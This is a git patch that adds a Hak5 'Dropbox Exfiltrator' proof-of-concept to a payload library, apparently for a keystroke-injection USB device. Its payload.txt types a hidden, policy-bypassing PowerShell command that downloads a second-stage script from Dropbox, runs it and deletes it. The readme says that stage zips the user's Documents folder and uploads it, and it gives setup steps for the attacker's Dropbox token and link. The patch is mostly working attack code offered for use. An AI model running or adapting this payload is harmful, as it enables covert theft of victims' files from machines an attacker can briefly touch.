From d341068548b2d7b41b5b2938f3a1a955963e7a7a Mon Sep 17 00:00:00 2001
From: Darren Kitchen <darren@hak5.org>
Date: Wed, 30 Jan 2019 12:17:55 -0800
Subject: [PATCH] Added dropbox exfiltrator PoC payload

---
 .../dropbox-exfiltrator/exfil.ps1             | Bin 0 -> 1692 bytes
 .../dropbox-exfiltrator/payload.txt           |  15 ++++++++
 .../dropbox-exfiltrator/readme.md             |  34 ++++++++++++++++++
 3 files changed, 49 insertions(+)
 create mode 100644 payloads/library/exfiltration/dropbox-exfiltrator/exfil.ps1
 create mode 100644 payloads/library/exfiltration/dropbox-exfiltrator/payload.txt
 create mode 100644 payloads/library/exfiltration/dropbox-exfiltrator/readme.md

diff --git a/payloads/library/exfiltration/dropbox-exfiltrator/exfil.ps1 b/payloads/library/exfiltration/dropbox-exfiltrator/exfil.ps1
new file mode 100644
index 0000000000000000000000000000000000000000..9233e76de840eff1dcdc2a092a2c204808360a49
GIT binary patch
literal 1692
zcmcJP-EUGs5XH}P{|a)`gjT&!iHX{z4=BYFg*JdbC{07T7s2usxU|xy|GN5{-Clu8
z@Tu9{kDWbp=IqSu{{Hn|V+}RYRIz4^P(}Vb>Zz}5Y#A(PYAeB#(Jqz|_CtMEL&vJK
zR@bS@s^}B*mP+t-G>6lW35+d0b1aV|^+AsCid~!mm>QPNC{s}aIfJo}m+A5To3u4m
zMOSNs+8Vp7qBCS|Pv2oo_>UZ)-)k2gi-!?{t-AF{`^xE-m=o>b+r(q~;9tf%fGJgS
zq(J#6iXFJ<4e~U1Rf@^{ztNXfdfH5QH9iv=9g(@L?sx}e$#+aZr`SBp`#I0{%y~=}
z{0rwbWS<e4O<CH^qQ9$ca*%+q&b5xPj`PR_+nia-Vz_jz3vxgoS+(!cW!3adJ;&9j
z%FFKZy9)FUyzMjQvHf_Z0Uc1LqnbpUaUM?ie$gu|>tn7rD(JNi;27#gU3~=I)CHCj
zPeoUHi=~dO$n1hRFTp3wj`=$v%2+?>#9P=KFnlFaf!_2L=s9(ksVO?V<{GmbJWh3q
zXUv&Qobm>}ZKo(kNzR?Nf$Lsd_a|zG{R8VGo+-8t^OF0f2+PDm-xv+N3^O7V=j8jb
z<$R;U9Q(3L?y*{ACw8}39oKX3yI@;&_FeVXcfZPAf^$qSUh@7)E{dGdiu>BxUGm%P
ze_VDi*?s13wUA0JV79KZF3VEc31i^$wCtZeUY1#Z&sg5AhpY>-E@B1FYcN+>L+bBu
zxT?cjP9nHN?pn)DhAbtF3H3YVhRMUcswoG0b-$*lPwfmf1YO|iVzIkw#{b;u9izra
oS&w>#m+7_mrZT-}><n+ae++*@1Y=G6aTn#QmK}5sVcyR42MpI6C;$Ke

literal 0
HcmV?d00001

diff --git a/payloads/library/exfiltration/dropbox-exfiltrator/payload.txt b/payloads/library/exfiltration/dropbox-exfiltrator/payload.txt
new file mode 100644
index 00000000..033e3f8b
--- /dev/null
+++ b/payloads/library/exfiltration/dropbox-exfiltrator/payload.txt
@@ -0,0 +1,15 @@
+# Dropbox Exfiltrator
+# Author: Hak5Darren
+# Props: jimcola99 Buchanan
+# Demo: Hak5 episode 2505
+# Target: Windows Vista+
+# Category: Exfiltration
+
+LED SETUP
+ATTACKMODE HID
+LED ATTACK
+QUACK GUI r
+QUACK DELAY 500
+QUACK STRING powershell -w h -NoP -NonI -Exec Bypass \"\$e=\\\"\$env:TMP/e.ps1\\\"\;iwr https://www.dropbox.com/s/61jx6u40orxmvzz/exfil.ps1?dl=1 -O \$e\;iex \$e\;rm \$e\"
+QUACK ENTER
+LED FINISH
diff --git a/payloads/library/exfiltration/dropbox-exfiltrator/readme.md b/payloads/library/exfiltration/dropbox-exfiltrator/readme.md
new file mode 100644
index 00000000..7fc184b3
--- /dev/null
+++ b/payloads/library/exfiltration/dropbox-exfiltrator/readme.md
@@ -0,0 +1,34 @@
+# Dropbox Exfiltrator Proof-of-Concept
+
+* Author: Hak5Darren
+* Props: jimcola99 Buchanan
+* Demo: Hak5 episode 2505
+* Target: Windows Vista+
+* Category: Exfiltration
+
+## Proof of Concept
+
+This payload is not robust and is meant for demonstration purposes only. Known issues include the 150 MB file chunking limitation with Dropbox, as well as the IWR/IEX method and compression overhead. Please feel free to clean up.
+
+## Description
+
+Staged powershell payload which downloads and executes exfil.ps1 from dropbox which compresses the users documents folder and uploads it to dropbox.
+
+## Requirements
+
+* Step 1. Create a Dropbox app using their API and generate an access token from https://www.dropbox.com/developers/apps/create
+* Step 2. Customize the powershell second stage exfil.ps1 file to exfiltrate the loot to Dropbox using the token generated above
+* Step 3. Get a direct dropbox link for the powershell file (right-click exfil.ps1, get dropbox link, replace dl=0 with dl=1)
+* Step 4. Customize the exfiltration payload.txt to use the dropbox link from above
+* Step 5. ???
+* Step 6. h4x
+
+
+
+## STATUS
+
+| LED               | Status                                 |
+| ----------------- | -------------------------------------- |
+| SETUP             | Setting attack mode                    |
+| ATACK             | Injecting keystrokes                   |
+| FINISH            | All done                               |